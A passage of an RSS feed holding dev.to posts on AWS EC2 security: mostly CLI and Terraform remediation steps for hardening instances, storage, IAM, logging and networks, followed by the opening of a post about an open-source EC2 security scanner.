  &lt;span class="nx"&gt;traffic_type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ALL"&lt;/span&gt;
  &lt;span class="nx"&gt;log_destination&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_cloudwatch_log_group&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flow_logs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;
  &lt;span class="nx"&gt;iam_role_arn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;aws_iam_role&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flow_logs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  B.9: Restrict Egress
&lt;/h4&gt;

&lt;p&gt;Don’t allow all outbound traffic by default. Restrict to what your application actually needs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Remove the default "allow all" egress rule&lt;/span&gt;
aws ec2 revoke-security-group-egress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ip-permissions&lt;/span&gt; &lt;span class="s1"&gt;'[{"IpProtocol":"-1","IpRanges":[{"CidrIp":"0.0.0.0/0"}]}]'&lt;/span&gt;

&lt;span class="c"&gt;# Add specific egress rules (e.g., HTTPS only)&lt;/span&gt;
aws ec2 authorize-security-group-egress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--protocol&lt;/span&gt; tcp &lt;span class="nt"&gt;--port&lt;/span&gt; 443 &lt;span class="nt"&gt;--cidr&lt;/span&gt; 0.0.0.0/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category C: Storage Security
&lt;/h3&gt;

&lt;h4&gt;
  
  
  C.1 / C.2: Enable EBS Encryption
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Account-level default&lt;/strong&gt; (all new volumes encrypted automatically):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 enable-ebs-encryption-by-default &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do this in every region:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;region &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-regions &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Regions[*].RegionName"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;aws ec2 enable-ebs-encryption-by-default &lt;span class="nt"&gt;--region&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$region&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Enabled EBS encryption in &lt;/span&gt;&lt;span class="nv"&gt;$region&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For existing unencrypted volumes, you need to create an encrypted snapshot and replace the volume.&lt;/p&gt;

&lt;h4&gt;
  
  
  C.3: Fix Public EBS Snapshots
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find public snapshots (describe-snapshots doesn't include permissions,&lt;/span&gt;
&lt;span class="c"&gt;# so we check each snapshot individually)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;snap &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-snapshots &lt;span class="nt"&gt;--owner-ids&lt;/span&gt; self &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Snapshots[*].SnapshotId"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;PERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws ec2 describe-snapshot-attribute &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--snapshot-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$snap&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--attribute&lt;/span&gt; createVolumePermission &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"CreateVolumePermissions[?Group=='all']"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PERM&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PUBLIC: &lt;/span&gt;&lt;span class="nv"&gt;$snap&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Remove public access&lt;/span&gt;
aws ec2 modify-snapshot-attribute &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--snapshot-id&lt;/span&gt; snap-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--attribute&lt;/span&gt; createVolumePermission &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--operation-type&lt;/span&gt; remove &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-names&lt;/span&gt; all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  C.6: Fix Public AMIs
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find your public AMIs&lt;/span&gt;
aws ec2 describe-images &lt;span class="nt"&gt;--owners&lt;/span&gt; self &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Images[?Public==&lt;/span&gt;&lt;span class="se"&gt;\`&lt;/span&gt;&lt;span class="s2"&gt;true&lt;/span&gt;&lt;span class="se"&gt;\`&lt;/span&gt;&lt;span class="s2"&gt;].[ImageId,Name]"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table

&lt;span class="c"&gt;# Make them private&lt;/span&gt;
aws ec2 modify-image-attribute &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image-id&lt;/span&gt; ami-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--launch-permission&lt;/span&gt; &lt;span class="s2"&gt;"Remove=[{Group=all}]"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category D: Access Control
&lt;/h3&gt;

&lt;h4&gt;
  
  
  D.1: Remove Admin Permissions from Instance Roles
&lt;/h4&gt;

&lt;p&gt;Check what’s attached:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;ROLE_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"my-instance-role"&lt;/span&gt;
aws iam list-attached-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ROLE_NAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remove overprivileged policies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam detach-role-policy &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ROLE_NAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::aws:policy/AdministratorAccess
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace with least-privilege policies. Use **IAM Access Analyzer** to generate policies based on actual usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws accessanalyzer start-policy-generation &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy-generation-details&lt;/span&gt; &lt;span class="s1"&gt;'{"principalArn":"arn:aws:iam::123456789012:role/my-instance-role"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  D.3: Disable Serial Console Access
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 disable-serial-console-access &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category E: Logging &amp;amp; Monitoring
&lt;/h3&gt;

&lt;h4&gt;
  
  
  E.1: Enable CloudTrail
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cloudtrail create-trail &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; management-trail &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--s3-bucket-name&lt;/span&gt; my-cloudtrail-bucket &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--is-multi-region-trail&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable-log-file-validation&lt;/span&gt;

aws cloudtrail start-logging &lt;span class="nt"&gt;--name&lt;/span&gt; management-trail
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  E.3: Enable SSM
&lt;/h4&gt;

&lt;p&gt;Install the SSM Agent (most Amazon Linux and Windows AMIs have it pre-installed):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify SSM agent is running&lt;/span&gt;
aws ssm describe-instance-information &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"InstanceInformationList[*].[InstanceId,PingStatus]"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The instance’s IAM role needs the &lt;code&gt;**_AmazonSSMManagedInstanceCore_**&lt;/code&gt; policy.&lt;/p&gt;

&lt;h4&gt;
  
  
  E.4: Enable GuardDuty
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws guardduty create-detector &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--features&lt;/span&gt; &lt;span class="s1"&gt;'[{"Name":"RUNTIME_MONITORING","Status":"ENABLED"},{"Name":"EBS_MALWARE_PROTECTION","Status":"ENABLED"}]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category F: Patch &amp;amp; Vulnerability
&lt;/h3&gt;

&lt;h4&gt;
  
  
  F.1: Fix Missing Patches
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a patch baseline&lt;/span&gt;
aws ssm create-patch-baseline &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"production-baseline"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--approval-rules&lt;/span&gt; &lt;span class="s1"&gt;'{"PatchRules":[{"PatchFilterGroup":{"PatchFilters":[{"Key":"SEVERITY","Values":["Critical","Important"]}]},"ApproveAfterDays":7}]}'&lt;/span&gt;

&lt;span class="c"&gt;# Run patching now&lt;/span&gt;
aws ssm send-command &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--document-name&lt;/span&gt; &lt;span class="s2"&gt;"AWS-RunPatchBaseline"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--targets&lt;/span&gt; &lt;span class="s2"&gt;"Key=instanceids,Values=i-0123456789abcdef0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--parameters&lt;/span&gt; &lt;span class="s2"&gt;"Operation=Install"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  F.2: Update Stale AMIs
&lt;/h4&gt;

&lt;p&gt;AMIs older than 180 days are flagged. Build fresh AMIs regularly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a new AMI from a patched instance&lt;/span&gt;
aws ec2 create-image &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"my-app-&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--no-reboot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better: use &lt;strong&gt;EC2 Image Builder&lt;/strong&gt; to automate AMI pipelines.&lt;/p&gt;

&lt;h4&gt;
  
  
  F.3: Enable Inspector v2
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws inspector2 &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;--resource-types&lt;/span&gt; EC2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category G: Network Exposure
&lt;/h3&gt;

&lt;h4&gt;
  
  
  G.1: Release Unused Elastic IPs
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find unused EIPs&lt;/span&gt;
aws ec2 describe-addresses &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"Addresses[?AssociationId==null].[AllocationId,PublicIp]"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; table

&lt;span class="c"&gt;# Release them&lt;/span&gt;
aws ec2 release-address &lt;span class="nt"&gt;--allocation-id&lt;/span&gt; eipalloc-0123456789abcdef0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  &lt;strong&gt;G.3: Disable Subnet Auto-Assign Public IP&lt;/strong&gt;
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 modify-subnet-attribute &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--subnet-id&lt;/span&gt; subnet-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--no-map-public-ip-on-launch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  G.4: Enable VPC Block Public Access
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 modify-vpc-block-public-access-options &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--internet-gateway-block-mode&lt;/span&gt; block-bidirectional
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  G.5: Disable Transit Gateway Auto-Accept
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 modify-transit-gateway &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--transit-gateway-id&lt;/span&gt; tgw-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--options&lt;/span&gt; &lt;span class="nv"&gt;AutoAcceptSharedAttachments&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;disable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Category H: Tagging &amp;amp; Inventory
&lt;/h3&gt;

&lt;h4&gt;
  
  
  H.1: Add Required Tags
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 create-tags &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resources&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tags&lt;/span&gt; &lt;span class="nv"&gt;Key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Name,Value&lt;span class="o"&gt;=&lt;/span&gt;my-app-server &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="nv"&gt;Key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Environment,Value&lt;span class="o"&gt;=&lt;/span&gt;production &lt;span class="se"&gt;\&lt;/span&gt;
         &lt;span class="nv"&gt;Key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Owner,Value&lt;span class="o"&gt;=&lt;/span&gt;platform-team
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enforce tags at the organization level with &lt;strong&gt;AWS Organizations tag policies&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  H.2: Clean Up Stopped Instances
&lt;/h4&gt;

&lt;p&gt;Instances stopped for over 30 days are flagged. Either:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Terminate&lt;/strong&gt; them if no longer needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Create an AMI&lt;/strong&gt; first, then terminate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Document&lt;/strong&gt; why they need to stay stopped
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create AMI before terminating&lt;/span&gt;
aws ec2 create-image &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-0123456789abcdef0 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"backup-before-termination-&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Then terminate&lt;/span&gt;
aws ec2 terminate-instances &lt;span class="nt"&gt;--instance-ids&lt;/span&gt; i-0123456789abcdef0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  H.3: Remove Unused Security Groups
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The scanner flags SGs not attached to any ENI&lt;/span&gt;
&lt;span class="c"&gt;# Verify and delete&lt;/span&gt;
aws ec2 delete-security-group &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-0123456789abcdef0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Priority Order
&lt;/h3&gt;

&lt;p&gt;Don’t try to fix everything at once. Here’s the order that matters:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CRITICAL first&lt;/strong&gt; : Secrets in UserData (-25), public AMIs (-20), public snapshots (-20). These are active data exposure risks. Fix today.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security group ports&lt;/strong&gt; : SSH/RDP/high-risk ports open to world (up to -20). Close them or restrict to specific CIDRs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;IMDSv2&lt;/strong&gt; : Enforce on all instances (-15). The single highest-impact security improvement.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;IAM roles&lt;/strong&gt; : Remove admin/wildcard permissions (-15). Scope down to least privilege.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Encryption&lt;/strong&gt; : Enable EBS default encryption (-5 to -10). Turn it on everywhere.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Logging&lt;/strong&gt; : CloudTrail, VPC flow logs, GuardDuty (-10 each). You can’t detect threats you can’t see.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Everything else&lt;/strong&gt; : Tags, stopped instances, unused resources. Important for hygiene, lower urgency.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Automation
&lt;/h3&gt;

&lt;p&gt;Don’t do this manually every time. Set up guardrails:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AWS Config Rules&lt;/strong&gt; : Automatically detect non-compliant resources&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AWS Organizations SCPs&lt;/strong&gt; : Prevent insecure configurations at the org level&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Terraform/CloudFormation&lt;/strong&gt; : Enforce security in your IaC templates&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CI/CD pipeline checks&lt;/strong&gt; : Scan templates before deployment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Schedule the scanner&lt;/strong&gt; : Run weekly, compare scores, track progress
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example: weekly scan via cron&lt;/span&gt;
0 6 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; 1 ec2-security-scanner security &lt;span class="nt"&gt;-p&lt;/span&gt; production &lt;span class="nt"&gt;-r&lt;/span&gt; us-east-1 &lt;span class="nt"&gt;-q&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Wrapping Up
&lt;/h3&gt;

&lt;p&gt;That’s the full EC2 security series. Part 1 showed you the risks. Part 2 gave you the scanner. Part 3 gave you the fixes.&lt;/p&gt;

&lt;p&gt;46 checks. 137 controls. Every fix you need. No excuses left.&lt;/p&gt;

&lt;h3&gt;
  
  
  Support the Project
&lt;/h3&gt;

&lt;p&gt;This series and the scanner behind it are open source and free. If they helped you lock down your account, here is how to give back:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Star it on GitHub&lt;/strong&gt; so more engineers can find it: &lt;a href="https://github.com/TocConsulting/ec2-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/ec2-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open a pull request&lt;/strong&gt; to fix a bug, add a remediation, or tighten a check.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Propose a new check or compliance framework&lt;/strong&gt; by opening an issue. The best ideas come from real production gaps.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Share it&lt;/strong&gt; with your team and your network. Reach is what gives an open-source security tool a fighting chance.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Cloud attacks are getting faster and more automated in the AI era. The more contributors and eyes on tools like this, the harder we make it for attackers. Every star, issue, and pull request pushes cloud security forward.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/TocConsulting/ec2-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/ec2-security-scanner&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PyPI&lt;/strong&gt; : &lt;a href="https://pypi.org/project/ec2-security-scanner/" rel="noopener noreferrer"&gt;https://pypi.org/project/ec2-security-scanner/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you found this series useful, follow me for more AWS security content. IAM, RDS, Lambda, and ECS/EKS series are coming next.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>awsec2</category>
      <category>cloudsecurity</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Building an EC2 Security Scanner: 46 Checks, 137 Controls, Zero Excuses</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Tue, 02 Jun 2026 20:50:39 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/building-an-ec2-security-scanner-46-checks-137-controls-zero-excuses-2bbo</link>
      <guid>https://dev.to/tarekcheikh/building-an-ec2-security-scanner-46-checks-137-controls-zero-excuses-2bbo</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 2 of 3 in the EC2 Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcz4541gvy4w1rre8xspm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcz4541gvy4w1rre8xspm.png" alt="EC2 Security Scanner" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Your security team wants a compliance report. Your next audit is in two weeks. You have 47 EC2 instances and no idea which ones are actually locked down.&lt;/p&gt;

&lt;p&gt;In Part 1, I showed you everything that can go wrong with EC2 security. Public instances, open ports, IMDSv1, secrets in UserData, public snapshots, the list goes on.&lt;/p&gt;

&lt;p&gt;Now let me show you how to find all of it. One command.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Problem With Manual Checks
&lt;/h3&gt;

&lt;p&gt;You could write a script. I’ve done it. Everyone has.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
